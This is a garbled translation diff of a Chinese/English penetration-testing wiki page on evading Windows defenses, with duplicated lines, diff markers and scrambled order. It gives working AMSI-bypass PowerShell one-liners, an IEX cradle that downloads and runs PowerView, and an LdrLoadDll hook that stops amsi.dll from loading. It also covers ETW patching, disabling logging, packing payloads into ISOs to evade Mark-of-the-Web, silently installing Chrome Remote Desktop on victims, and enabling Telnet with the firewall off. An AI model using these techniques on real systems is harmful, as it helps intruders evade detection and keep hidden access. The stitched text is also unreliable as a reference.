运行 `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` 会在 Windows Defender 上产生如下警告。
Running `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` will produce the following alert on Windows Defender.
<figure><img src="../images/image (1135).png" alt=""><figcaption></figcaption></figure>
注意它如何在前面加上 `amsi:`,然后是运行该脚本的可执行文件的路径,在本例中为 powershell.exe
注意它如何在前面加上 `amsi:`,然后是执行脚本的可执行文件路径,在本例中为 powershell.exe。
我们没有在磁盘上写入任何文件,但仍然因为 AMSI 而在内存中被拦截
我们没有将任何文件写入磁盘,但仍然因为 AMSI 在内存中扫描而被检测到
此外,从 **.NET 4.8** 开始C# 代码也会通过 AMSI 运行。这甚至影响到 `Assembly.Load(byte[])` 用于加载内存执行。因此如果想绕过 AMSI建议使用较低版本的 .NET例如 4.7.2 或更低)来进行内存执行。
Moreover, starting with **.NET 4.8**, C# code is run through AMSI as well. This even affects `Assembly.Load(byte[])` to load in-memory execution. Thats why using lower versions of .NET (like 4.7.2 or below) is recommended for in-memory execution if you want to evade AMSI.
有几种方法可以绕过 AMSI
- **Obfuscation**
由于 AMSI 主要依赖静态检测,因此修改你尝试加载的脚本可能是规避检测的一个好方法。
由于 AMSI 主要基于静态检测,因此修改你尝试加载的脚本可能是规避检测的一个好方法。
不过AMSI 具备对脚本进行去混淆的能力,即便有多层混淆也可能被还原,所以具体如何混淆决定了它是否有效。有时只需改几个变量名就能通过检测,取决于被标记的程度。
然而AMSI 有能力对脚本进行去混淆(即使存在多层混淆),所以 obfuscation 的效果取决于具体实现,可能并不是一个好选项。这使得规避并不那么简单。不过,有时仅仅改几个变量名就足够了,所以这取决于该脚本被标记的程度。
- **AMSI Bypass**
由于 AMSI 是通过将一个 DLL 注入到 powershell以及 cscript.exe、wscript.exe 等)进程来实现的,即使以非特权用户身份运行也很容易进行篡改。基于 AMSI 实现中的这一缺陷,研究人员找到了多种规避 AMSI 扫描的方法。
由于 AMSI 是通过将一个 DLL 注入到 powershell以及 cscript.exe、wscript.exe 等)进程来实现的,即使以非特权用户身份运行,也可以相对容易地篡改它。由于 AMSI 实现中的这个缺陷,研究人员已经发现了多种规避 AMSI 扫描的方法。
**Forcing an Error**
强制使 AMSI 初始化失败amsiInitFailed将导致当前进程不启动任何扫描。最初这是由 [Matt Graeber](https://twitter.com/mattifestation) 披露的Microsoft 已经开发了一个签名以防止其被广泛利用。
强制 AMSI 初始化失败amsiInitFailed将导致当前进程不发起任何扫描。最初这是由 Matt Graeber 披露的Microsoft 已经开发了签名以防止更广泛的使用。
```bash
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
```
只需一行 powershell 代码就能使当前 powershell 进程中的 AMSI 无法工作。 当然,这一行已被 AMSI 检测到,所以要使用该技术需要对其进行一些修改
只需一行 powershell 代码就能使当前 powershell 进程中的 AMSI 无法使用。这行代码当然已被 AMSI 本身检测到,因此需要对其进行一些修改才能使用该技术
下面是我从这个 [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db) 取得的已修改 AMSI bypass。
下面是我从这个 [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db) 取得并修改的一个 AMSI bypass。
```bash
Try{#Ams1 bypass technic nº 2
$Xdatabase = 'Utils';$Homedrive = 'si'
@ -247,118 +249,154 @@ $Spotfix = $SDcleanup.GetField($Rawdata,"$ComponentDeviceId,Static")
$Spotfix.SetValue($null,$true)
}Catch{Throw $_}
```
请注意,一旦这篇文章发布,可能会被标记,因此如果你计划保持不被发现,不应发布任何代码
请注意,一旦这篇文章发布,很可能会被标记flagged因此如果你的目标是保持不被发现就不要发布任何 code
**Memory Patching**
该技术最初由 [@RastaMouse](https://twitter.com/_RastaMouse/) 发现,涉及查找 amsi.dll 中 "AmsiScanBuffer" 函数的地址(负责扫描用户提供的输入),并用返回 E_INVALIDARG 代码的指令覆盖它。这样,实际扫描的结果将返回 0被解释为“干净”的结果。
This technique was initially discovered by [@RastaMouse](https://twitter.com/_RastaMouse/) and it involves finding address for the "AmsiScanBuffer" function in amsi.dll (responsible for scanning the user-supplied input) and overwriting it with instructions to return the code for E_INVALIDARG, this way, the result of the actual scan will return 0, which is interpreted as a clean result.
> [!TIP]
> 详细解释请阅读 [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/)。
> 请阅读 [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) 以获得更详细的说明
还有许多使用 PowerShell 绕过 AMSI 的其他技术,查看 [**this page**](basic-powershell-for-pentesters/index.html#amsi-bypass) 和 [**this repo**](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) 以了解更多。
There are also many other techniques used to bypass AMSI with powershell, check out [**this page**](basic-powershell-for-pentesters/index.html#amsi-bypass) and [**this repo**](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) to learn more about them.
该工具 [**https://github.com/Flangvik/AMSI.fail**](https://github.com/Flangvik/AMSI.fail) 也会生成用于绕过 AMSI 的脚本。
### Blocking AMSI by preventing amsi.dll load (LdrLoadDll hook)
**Remove the detected signature**
AMSI is initialised only after `amsi.dll` is loaded into the current process. A robust, languageagnostic bypass is to place a usermode hook on `ntdll!LdrLoadDll` that returns an error when the requested module is `amsi.dll`. As a result, AMSI never loads and no scans occur for that process.
你可以使用诸如 **[https://github.com/cobbr/PSAmsi](https://github.com/cobbr/PSAmsi)** 和 **[https://github.com/RythmStick/AMSITrigger](https://github.com/RythmStick/AMSITrigger)** 的工具,从当前进程的内存中移除检测到的 AMSI 签名。该工具通过扫描当前进程内存中的 AMSI 签名,然后用 NOP 指令覆盖它,从而有效地将其从内存中移除。
实现大纲x64 C/C++ 伪代码):
```c
#include <windows.h>
#include <winternl.h>
**AV/EDR products that uses AMSI**
typedef NTSTATUS (NTAPI *pLdrLoadDll)(PWSTR, ULONG, PUNICODE_STRING, PHANDLE);
static pLdrLoadDll realLdrLoadDll;
可以在 **[https://github.com/subat0mik/whoamsi](https://github.com/subat0mik/whoamsi)** 找到使用 AMSI 的 AV/EDR 产品列表。
NTSTATUS NTAPI Hook_LdrLoadDll(PWSTR path, ULONG flags, PUNICODE_STRING module, PHANDLE handle){
if (module && module->Buffer){
UNICODE_STRING amsi; RtlInitUnicodeString(&amsi, L"amsi.dll");
if (RtlEqualUnicodeString(module, &amsi, TRUE)){
// Pretend the DLL cannot be found → AMSI never initialises in this process
return STATUS_DLL_NOT_FOUND; // 0xC0000135
}
}
return realLdrLoadDll(path, flags, module, handle);
}
**Use Powershell version 2**
如果你使用 PowerShell 版本 2AMSI 将不会被加载,因此你可以运行脚本而不被 AMSI 扫描。你可以这样做:
void InstallHook(){
HMODULE ntdll = GetModuleHandleW(L"ntdll.dll");
realLdrLoadDll = (pLdrLoadDll)GetProcAddress(ntdll, "LdrLoadDll");
// Apply inline trampoline or IAT patching to redirect to Hook_LdrLoadDll
// e.g., Microsoft Detours / MinHook / custom 14byte jmp thunk
}
```
注意事项
- Works across PowerShell, WScript/CScript and custom loaders alike (anything that would otherwise load AMSI).
- 将其与通过 stdin 提供脚本(`PowerShell.exe -NoProfile -NonInteractive -Command -`)配合使用,以避免长命令行痕迹。
- Seen used by loaders executed through LOLBins (e.g., `regsvr32` calling `DllRegisterServer`).
This tools [https://github.com/Flangvik/AMSI.fail](https://github.com/Flangvik/AMSI.fail) also generates script to bypass AMSI.
**移除检测到的签名**
你可以使用像 **[https://github.com/cobbr/PSAmsi](https://github.com/cobbr/PSAmsi)** 和 **[https://github.com/RythmStick/AMSITrigger](https://github.com/RythmStick/AMSITrigger)** 这样的工具,从当前进程的内存中移除检测到的 AMSI 签名。该工具通过扫描当前进程的内存寻找 AMSI 签名,然后用 NOP 指令覆盖它,从而将其从内存中移除。
**使用 AMSI 的 AV/EDR 产品**
你可以在 **[https://github.com/subat0mik/whoamsi](https://github.com/subat0mik/whoamsi)** 找到使用 AMSI 的 AV/EDR 产品列表。
**使用 PowerShell 版本 2**
如果你使用 PowerShell 版本 2AMSI 不会被加载,因此你可以在不被 AMSI 扫描的情况下运行脚本。你可以这样做:
```bash
powershell.exe -version 2
```
## PS 日志
## PS 日志记录
PowerShell logging 是一项功能,允许记录系统上执行的所有 PowerShell 命令。此功能对审计和故障排除很有用,但对想要规避检测的攻击者来说也是一个问题。
PowerShell 日志记录是一个功能,允许你记录系统上执行的所有 PowerShell 命令。这对于审计和故障排除很有用,但对于想要规避检测的攻击者来说也可能是个**问题**
要绕过 PowerShell 日志,可以使用以下技术:
要绕过 PowerShell 日志记录,可以使用以下技术:
- **Disable PowerShell Transcription and Module Logging**:你可以使用工具例如 [https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs](https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs) 来实现。
- **Use Powershell version 2**:如果使用 PowerShell version 2AMSI 将不会被加载,因此可以运行脚本而不被 AMSI 扫描。可以这样做:`powershell.exe -version 2`
- **Use an Unmanaged Powershell Session**:使用 [https://github.com/leechristensen/UnmanagedPowerShell](https://github.com/leechristensen/UnmanagedPowerShell) 来生成一个没有防护的 powershell 会话(这也是 `powerpick` 来自 Cobal Strike 时所使用的方法)。
- **Disable PowerShell Transcription and Module Logging**:你可以使用 [https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs](https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs) 这样的工具来实现此目的
- **Use Powershell version 2**:如果使用 PowerShell 版本 2AMSI 将不会被加载,因此你可以运行脚本而不被 AMSI 扫描。可以这样做:`powershell.exe -version 2`
- **Use an Unmanaged Powershell Session**:使用 [https://github.com/leechristensen/UnmanagedPowerShell](https://github.com/leechristensen/UnmanagedPowerShell) 来生成一个没有防御的 powershell(这也是 `powerpick` 来自 Cobal Strike 使用的)。
## 混淆
## Obfuscation
> [!TIP]
> 若干混淆技术依赖对数据进行加密,这会增加二进制文件的熵,从而更容易被 AVs 和 EDRs 检测到。对此要小心,或许只对代码中敏感或需要隐藏的特定部分应用加密。
> 几种混淆技术依赖于加密数据,这会增加二进制的熵,从而使 AVs 和 EDRs 更容易检测到它。对此要小心,或许只对代码中敏感或需要隐藏的特定部分应用加密。
### 对由 ConfuserEx 保护的 .NET 二进制文件进行去混淆
### Deobfuscating ConfuserEx-Protected .NET Binaries
在分析使用 ConfuserEx 2或其商业分支的恶意软件时通常会遇到多层保护阻止反编译器和沙箱。下面的工作流程可以可靠地**恢复接近原始的 IL**,之后可以在 dnSpy 或 ILSpy 等工具中将其反编译为 C#。
在分析使用 ConfuserEx 2或商业分支的恶意软件时通常会遇到多层保护这些保护会阻止反编译器和沙箱。下面的工作流程可以可靠地**恢复接近原始的 IL**随后可以在 dnSpy 或 ILSpy 等工具中反编译为 C#。
1. 反篡改移除 ConfuserEx 会加密每个 *method body* 并在 *module* 静态构造函数 (`<Module>.cctor`) 解密。它还会修补 PE 校验和,因此任何修改都会导致二进制崩溃。使用 **AntiTamperKiller** 定位被加密的元数据表,恢复 XOR 密钥并重写一个干净的 assembly
1. Anti-tampering removal ConfuserEx 会加密每个 *method body* 并在 *module* 静态构造函数 (`<Module>.cctor`) 解密。它还会修补 PE 校验和,因此任何修改都会导致二进制崩溃。使用 **AntiTamperKiller** 定位被加密的元数据表,恢复 XOR 密钥并重写一个干净的程序集
```bash
# https://github.com/wwh1004/AntiTamperKiller
python AntiTamperKiller.py Confused.exe Confused.clean.exe
```
输出包含 6 个反篡改参数(`key0-key3`, `nameHash`, `internKey`),在构建自定义 unpacker 时可能会有用。
输出包含 6 个 anti-tamper 参数(`key0-key3`, `nameHash`, `internKey`),在构建你自己的 unpacker 时可能有用。
2. 符号 / 控制流恢复 *clean* 文件输入到 **de4dot-cex**(一个支持 ConfuserEx 的 de4dot 分支)。
2. Symbol / control-flow recovery *clean* 文件喂给 **de4dot-cex**(一个支持 ConfuserEx 的 de4dot 分支)。
```bash
de4dot-cex -p crx Confused.clean.exe -o Confused.de4dot.exe
```
Flags:
`-p crx` 选择 ConfuserEx 2 profile
• de4dot 会撤销控制流扁平化,恢复原始的命名空间、类和变量名,并解密常量字符串。
标志:
`-p crx` 选择 ConfuserEx 2 配置文件
• de4dot 将撤销 control-flow flattening恢复原始的命名空间、类和变量名并解密常量字符串。
3. 代理调用剥离 ConfuserEx 用轻量级包装器(亦称 *proxy calls*)替换直接方法调用以进一步破坏反编译。使用 **ProxyCall-Remover** 将其移除:
3. Proxy-call stripping ConfuserEx 用轻量级包装器(亦称 *proxy calls*)替换直接方法调用以进一步破坏反编译。使用 **ProxyCall-Remover** 将其移除:
```bash
ProxyCall-Remover.exe Confused.de4dot.exe Confused.fixed.exe
```
在此步骤之后,你应当看到正常的 .NET API`Convert.FromBase64String``AES.Create()`,而不是不透明的包装函数(如 `Class8.smethod_10`,…)。
在此步骤之后,你应能看到常见的 .NET API`Convert.FromBase64String``AES.Create()`,而不是那些不透明的包装函数(如 `Class8.smethod_10`)。
4. 手动清理 在 dnSpy 中运行生成的二进制,搜索大型 Base64 数据块或 `RijndaelManaged`/`TripleDESCryptoServiceProvider` 的使用以定位 *真实* 载荷。通常恶意软件将其作为在 `<Module>.byte_0`初始化的 TLV 编码字节数组存储
4. Manual clean-up 在 dnSpy 中运行结果二进制,搜索大型 Base64 数据块或 `RijndaelManaged`/`TripleDESCryptoServiceProvider` 的使用以定位*真实*载荷。通常恶意软件将其作为 TLV 编码的字节数组初始化`<Module>.byte_0` 中。
上述链在**不**需要运行恶意样本的情况下恢复执行流——在离线工作站上非常有用。
上述链在**不需要**运行恶意样本的情况下恢复执行流——这在离线工作站上工作时很有用。
> 🛈 ConfuserEx 会生成一个名为 `ConfusedByAttribute` 的自定义属性,可用作 IOC 来自动类样本。
> 🛈 ConfuserEx 会生成一个名为 `ConfusedByAttribute` 的自定义属性,可用作 IOC 来自动类样本。
#### 单行命令
#### One-liner
```bash
autotok.sh Confused.exe # wrapper that performs the 3 steps above sequentially
```
---
- [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# obfuscator**
- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): 本项目的目标是提供一个开源的 [LLVM](http://www.llvm.org/) 编译套件分支,通过 [code obfuscation](<http://en.wikipedia.org/wiki/Obfuscation_(software)>) 和防篡改来提升软件安全性
- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator 演示如何使用 `C++11/14` 语言在编译时生成 obfuscated code而无需使用任何外部工具或修改编译器。
- [**obfy**](https://github.com/fritzone/obfy): 添加一层由 C++ template metaprogramming framework 生成的 obfuscated operations从而让想要 crack the application 的人更加困难。
- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz 是一个 x64 binary obfuscator能够对种 pe 文件进行 obfuscate包括.exe、.dll、.sys
- [**metame**](https://github.com/a0rtega/metame): Metame 是一个用于任意可执行文件的简 metamorphic code engine。
- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator 是一个针对 LLVM-supported languages、使用 ROP (return-oriented programming) 的细粒度 code obfuscation framework。ROPfuscator 在汇编级别对程序进行 obfuscate通过将常规指令转换为 ROP chains破坏我们对正常 control flow 的直观理解。
- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): 本项目旨在提供 [LLVM](http://www.llvm.org/) 编译套件的开源分支,通过 code obfuscation 提高软件安全性并实现防篡改
- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator 演示如何使用 `C++11/14` 在编译时生成 obfuscated code而无需使用任何外部工具或修改编译器。
- [**obfy**](https://github.com/fritzone/obfy): 通过 C++ template metaprogramming framework 添加一层 obfuscated operations使想要破解应用的人更为困难。
- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz 是一个 x64 binary obfuscator能够对种 pe 文件进行 obfuscate包括.exe、.dll、.sys
- [**metame**](https://github.com/a0rtega/metame): Metame 是一个用于任意可执行文件的简 metamorphic code engine。
- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator 是一个针对 LLVM-supported languages 的细粒度 code obfuscation 框架,使用 ROP (return-oriented programming)。ROPfuscator 在汇编级别通过将常规指令转换为 ROP chains 来对程序进行 obfuscate从而破坏我们对正常控制流的直观理解。
- [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt 是用 Nim 编写的 .NET PE Crypter
- [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor 能够将现有 EXE/DLL 转换为 shellcode 并加载它们
- [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor 能够将现有 EXE/DLL 转换为 shellcode 并加载它们
## SmartScreen MoTW
## SmartScreen & MoTW
当从互联网上下载并执行某些可执行文件时,你可能见过这个界面
你可能在从互联网下载并执行某些可执行文件时见过这个屏幕
Microsoft Defender SmartScreen 是一项安全机制,旨在保护终端用户不运行可能的恶意应用程序
Microsoft Defender SmartScreen 是一种旨在保护最终用户免于运行潜在恶意应用程序的安全机制
<figure><img src="../images/image (664).png" alt=""><figcaption></figcaption></figure>
SmartScreen 主要基于 reputation-based 的方法工作,这意味着不常见下载的应用会触发 SmartScreen从而提醒并阻止终用户执行该文件(尽管仍可通过点击 More Info -> Run anyway 来执行该文件)。
SmartScreen 主要采用基于信誉的方式运作,这意味着不常被下载的应用会触发 SmartScreen从而提醒并阻止终用户执行该文件(尽管仍可通过点击 More Info -> Run anyway 来执行该文件)。
**MoTW** (Mark of The Web) 是一个名为 Zone.Identifier 的 [NTFS Alternate Data Stream](<https://en.wikipedia.org/wiki/NTFS#Alternate_data_stream_(ADS)>)当从互联网下载文件时会自动创建,并包含下载来源的 URL。
**MoTW** (Mark of The Web) 是一个名为 Zone.Identifier 的 [NTFS Alternate Data Stream](<https://en.wikipedia.org/wiki/NTFS#Alternate_data_stream_(ADS)>)在从互联网下载文件时会自动创建,其中包含下载来源的 URL。
<figure><img src="../images/image (237).png" alt=""><figcaption><p>从互联网下载的文件的 Zone.Identifier ADS。</p></figcaption></figure>
<figure><img src="../images/image (237).png" alt=""><figcaption><p>从互联网下载的文件的 Zone.Identifier ADS。</p></figcaption></figure>
> [!TIP]
> 需要注意的是,用 **trusted** 签名证书签名的可执行文件**不会触发 SmartScreen**。
> 值得注意的是,使用**受信任**签名证书签署的可执行文件**不会触发 SmartScreen**。
防止 payloads 被打上 Mark of The Web 的一种非常有效的方法是将它们打包到某种容器中,例如 ISO。这是因为 Mark-of-the-Web (MOTW) **无法** 应用于非 NTFS 卷。
防止你的 payloads 被附加 Mark of The Web 的一个非常有效的方法是将它们打包到某种容器中(例如 ISO。这是因为 Mark-of-the-Web (MOTW) **cannot** 应用于 **non NTFS** 卷。
<figure><img src="../images/image (640).png" alt=""><figcaption></figcaption></figure>
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) 是一个将 payloads 打包到输出容器以规避 Mark-of-the-Web 的工具。
示例用法:
Example usage:
```bash
PS C:\Tools\PackMyPayload> python .\PackMyPayload.py .\TotallyLegitApp.exe container.iso
@ -386,51 +424,51 @@ Here is a demo for bypassing SmartScreen by packaging payloads inside ISO files
## ETW
Event Tracing for Windows (ETW) 是 Windows 中一个强大的日志记录机制,允许应用程序和系统组件**记录事件**。但是,它也可能被安全产品用来监视和检测恶意活动。
Event Tracing for Windows (ETW) 是 Windows 中一个强大的日志机制,允许应用程序和系统组件 **记录事件**。然而,它也可以被安全产品用来监控和检测恶意活动。
类似于 AMSI 被禁用(绕过)的方式,也可以让用户态进程的 **`EtwEventWrite`** 函数立即返回而不记录任何事件。これは通过在内存中修改该函数使其立即返回来完成,从而有效地禁用了该进程的 ETW 日志记录。
类似于禁用绕过AMSI 的方式,也可以使用户态进程的 **`EtwEventWrite`** 函数立即返回而不记录任何事件。这是通过在内存中打补丁使该函数立即返回来实现的,从而有效地禁用该进程的 ETW 日志记录。
你可以在 **[https://blog.xpnsec.com/hiding-your-dotnet-etw/](https://blog.xpnsec.com/hiding-your-dotnet-etw/) and [https://github.com/repnz/etw-providers-docs/](https://github.com/repnz/etw-providers-docs/)** 找到更多信息。
You can find more info in **[https://blog.xpnsec.com/hiding-your-dotnet-etw/](https://blog.xpnsec.com/hiding-your-dotnet-etw/) and [https://github.com/repnz/etw-providers-docs/](https://github.com/repnz/etw-providers-docs/)**.
## C# Assembly Reflection
Loading C# binaries in memory 已经存在相当长一段时间,并且仍然是运行 post-exploitation 工具而不被 AV 发现的一个很好的方式
在内存中加载 C# 二进制文件已经流行一段时间,仍然是运行 post-exploitation 工具而不被 AV 检测的非常好的方法
由于 payload 会直接加载到内存而不触磁盘,我们只需要担心为整个进程补 AMSI。
由于 payload 会直接加载到内存而不触磁盘,我们只需要为整个进程补 AMSI。
大多数 C2 frameworks (sliver, Covenant, metasploit, CobaltStrike, Havoc, etc.) 已经提供了直接在内存中执行 C# assemblies 的能力,但有不同的方法可以做到这一点
大多数 C2 框架sliver、Covenant、metasploit、CobaltStrike、Havoc 等)已经提供了直接在内存中执行 C# assemblies 的能力,但有不同的实现方式
- **Fork\&Run**
它涉及**生成一个新的牺牲进程sacrificial process**,将你的 post-exploitation 恶意代码注入到该新进程执行你的恶意代码完成后终止该新进程。这既有优点也有缺点。fork and run 方法的优点是执行发生在我们的 Beacon implant 进程**之外**。这意味着如果我们的 post-exploitation 操作出现问题或被捕获,我们的**植入体更有可能幸存。**缺点是更有可能被**Behavioural Detections** 发现
它涉及**生成一个新的牺牲进程**,将你的 post-exploitation 恶意代码注入到该新进程执行恶意代码完成后终止该进程。此方法有其优缺点。Fork & Run 的优点是执行发生在我们的 Beacon 植入进程**之外**。这意味着如果我们的 post-exploitation 操作出错或被发现,我们的 **implant** 存活的可能性会大得多。缺点是更有可能被 **Behavioural Detections** 捕获
<figure><img src="../images/image (215).png" alt=""><figcaption></figcaption></figure>
- **Inline**
这是将 post-exploitation 恶意代码**注入到其自身进程**。这样你可以避免创建新进程并被 AV 扫描,但缺点是在 payload 执行出现问题时,更有可能**丢失你的 beacon**,因为它可能会崩溃
它是把 post-exploitation 恶意代码注入到**自身进程**中。这样可以避免创建新进程并被 AV 扫描,但缺点是如果 payload 执行出错,可能会更大概率**丢失你的 beacon**(因为进程可能崩溃)
<figure><img src="../images/image (1136).png" alt=""><figcaption></figcaption></figure>
> [!TIP]
> 如果你想阅读更多关于 C# Assembly 加载的内容,请查看这篇文章 [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) 以及他们的 InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
> 如果你想进一步阅读关于 C# Assembly 加载的内容,请查看这篇文章 [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) 以及他们的 InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
你也可以**从 PowerShell**加载 C# Assemblies见 [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) 和 [S3cur3th1sSh1t's video](https://www.youtube.com/watch?v=oe11Q-3Akuk)
你也可以**从 PowerShell**加载 C# Assemblies考 Invoke-SharpLoaderhttps://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader和 S3cur3th1sSh1t 的视频https://www.youtube.com/watch?v=oe11Q-3Akuk
## Using Other Programming Languages
As proposed in [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins),通过让受害机器访问**部署在 Attacker Controlled SMB share 上的解释器环境**,可以使用其他语言来执行恶意代码。
[**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins) 所述,可以通过让被攻陷机器访问 **部署在攻击者控制的 SMB 共享上的解释器环境**,使用其他语言执行恶意代码。
通过允许访问 SMB share 上的 Interpreter Binaries 和环境,你可以在被攻破机器的内存中**以这些语言执行任意代码**。
通过允许访问 SMB 共享上的解释器二进制文件和环境,你可以在被攻陷机器的内存中**以这些语言执行任意代码**。
该仓库指出Defender 仍然会扫描脚本,但通过使用 Go、Java、PHP 等,我们在**绕过静态签名**方面具有更大的灵活性。使用这些语言的随机未混淆 reverse shell 脚本进行测试已被证明是成功的。
该仓库指出Defender 仍然会扫描脚本,但通过利用 Go、Java、PHP 等,我们在**绕过静态签名**方面有更多灵活性。用这些语言的随机未混淆反向 shell 脚本进行测试已被证明是成功的。
## TokenStomping
Token stomping 是一种技术,允许攻击者**操作访问令牌或像 EDR 或 AV 这样的安全产品的令牌**,使其权限降低,从而进程不会终止,但没有权限检查恶意活动。
Token stomping 是一种技术,允许攻击者**操纵 access token 或像 EDR 或 AV 这样的安全产品**,从而降低其权限,使进程不会被终止,但没有权限去检查恶意活动。
为防止此类情况Windows 可以**阻止外部进程**获取安全进程令牌的句柄。
为防止这种情况Windows 可以**阻止外部进程**获取安全进程的 token 句柄。
- [**https://github.com/pwn1sher/KillDefender/**](https://github.com/pwn1sher/KillDefender/)
- [**https://github.com/MartinIngesen/TokenStomp**](https://github.com/MartinIngesen/TokenStomp)
@ -440,26 +478,26 @@ Token stomping 是一种技术,允许攻击者**操作访问令牌或像 EDR
### Chrome Remote Desktop
如 [**this blog post**](https://trustedsec.com/blog/abusing-chrome-remote-desktop-on-red-team-operations-a-practical-guide) 所述,只需在受害者 PC 上部署 Chrome Remote Desktop然后使用它来接管并保持持久性就很容易
1. 从 https://remotedesktop.google.com/ 下载,点击 "Set up via SSH",然后点击 Windows 的 MSI 文件以下载 MSI
2. 在受害者上静默运行安装程序(需要管理员):`msiexec /i chromeremotedesktophost.msi /qn`
3. 返回 Chrome Remote Desktop 页面并点击 next。向导会要求你授权;点击 Authorize 按钮继续。
4. 执行给定的参数并做一些调整:`"%PROGRAMFILES(X86)%\Google\Chrome Remote Desktop\CurrentVersion\remoting_start_host.exe" --code="YOUR_UNIQUE_CODE" --redirect-url="https://remotedesktop.google.com/_/oauthredirect" --name=%COMPUTERNAME% --pin=111111` (注意 pin 参数允许在不使用 GUI 的情况下设置 pin
如 [**this blog post**](https://trustedsec.com/blog/abusing-chrome-remote-desktop-on-red-team-operations-a-practical-guide) 所述,在受害者电脑上部署 Chrome Remote Desktop 并利用它接管并维持持久访问是很容易的
1. 从 https://remotedesktop.google.com/ 下载,点击 "Set up via SSH",然后点击 Windows 的 MSI 文件进行下载
2. 在受害者机器静默方式运行安装程序(需要管理员): `msiexec /i chromeremotedesktophost.msi /qn`
3. 返回 Chrome Remote Desktop 页面并点击下一步。向导会要求你授权;点击 Authorize 按钮继续。
4. 执行给定参数并做相应调整: `"%PROGRAMFILES(X86)%\Google\Chrome Remote Desktop\CurrentVersion\remoting_start_host.exe" --code="YOUR_UNIQUE_CODE" --redirect-url="https://remotedesktop.google.com/_/oauthredirect" --name=%COMPUTERNAME% --pin=111111` (注意 pin 参数允许在不使用 GUI 的情况下设置 PIN。
## Advanced Evasion
Evasion 是一个非常复杂的主题,有时你必须在单个系统中考虑许多不同的遥测源,因此在成熟的环境中几乎不可能完全保持不被发现
规避是一个非常复杂的话题,有时在单个系统中就必须考虑多种不同的遥测来源,因此在成熟环境中完全不被检测到几乎不可能
每个你面对的环境都会有其自身的强项和弱点
每个你面对的环境都有其自身的优劣势
我强烈建议你观看 [@ATTL4S](https://twitter.com/DaniLJ94) 的这场演讲,以便对更高级的 Evasion 技术有一个入门了解
我强烈建议你观看 [@ATTL4S](https://twitter.com/DaniLJ94) 的这场演讲,以便入门更多 Advanced Evasion 技术
{{#ref}}
https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo
{{#endref}}
his is also another great talk from [@mariuszbit](https://twitter.com/mariuszbit) about Evasion in Depth.
这也是 [@mariuszbit](https://twitter.com/mariuszbit) 关于 Evasion in Depth 的另一场精彩演讲。
{{#ref}}
@ -470,49 +508,49 @@ https://www.youtube.com/watch?v=IbA7Ung39o4
### **Check which parts Defender finds as malicious**
你可以使用 [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck),它会**移除二进制的部分内容**,直到**找出 Defender 认为是恶意的部分**并把它拆分出来。\
另一个做**同样事情的工具是** [**avred**](https://github.com/dobin/avred)在 [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/) 提供了一个开放的 web 服务。
你可以使用 [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck),它会**逐步移除二进制的部分内容**,直到**找出 Defender 认为是恶意的那一部分**并分出来。\
另一个做同样事情的工具是 [**avred**](https://github.com/dobin/avred)在 [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/) 提供了开放的 web 服务。
### **Telnet Server**
直到 Windows10 之前,所有 Windows 都自带一个可以安装的 **Telnet server**(以管理员身份)执行
在 Windows10 之前,所有 Windows 都附带一个可以安装的 **Telnet server**(需管理员权限),安装方法为
```bash
pkgmgr /iu:"TelnetServer" /quiet
```
使其在系统启动时**启动**并立即**运行**
使其在系统启动时**启动**并**立即运行**
```bash
sc config TlntSVR start= auto obj= localsystem
```
**更改 telnet 端口** (stealth) 并禁用 firewall:
**更改 telnet 端口** (隐蔽) 并禁用防火墙:
```
tlntadmn config port=80
netsh advfirewall set allprofiles state off
```
### UltraVNC
